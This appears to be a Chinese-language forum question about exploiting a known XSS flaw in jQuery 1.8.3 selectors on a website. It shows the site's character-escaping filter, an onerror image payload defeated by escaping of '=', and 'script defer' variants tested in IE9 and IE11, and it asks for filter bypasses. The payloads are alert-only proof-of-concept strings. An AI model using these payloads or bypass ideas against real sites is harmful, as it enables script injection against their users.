网站使用 jQuery 1.8.3,它在选择器中有已知的 XSS 漏洞。(https://snyk.io/vuln/npm:jquery:20120206)。
它在选择器内传递过滤和 urldecoded document.location.hash(val2如下)值。
$('div[data-foo=\''+filter(val1)+'\'][data-value=\''+filter(val2)+'\']')
function filter(str) {
if (str)
return str.replace(/([ #;?%&,.+*~\':"!^$[\]()=>|\/@])/g,'\\$1');
return str;
}
我想出了以下有效载荷:
<img%09src%09onerror=alert`1`%09>
如果等号不替换为\=. 浏览器似乎根本无法容忍\=。
有什么想法可以绕过它,或者可能是另一个可以在这里工作的有效载荷吗?
更新:
如此处所述: https ://security.stackexchange.com/a/60915/196507
<script defer>alert(2)</script>可能适用于某些浏览器(我也在某处发现 IE 就是这个浏览器)。但不幸的是,它并没有以简化形式在 IE11 事件中为我分叉:
document.getElementById('test').innerHTML = "<script defer>alert(1)<\/script>";
更新2:
<script defer>在 IE9 中工作,但那里不支持反引号 (`)。所以出现了转义括号的问题。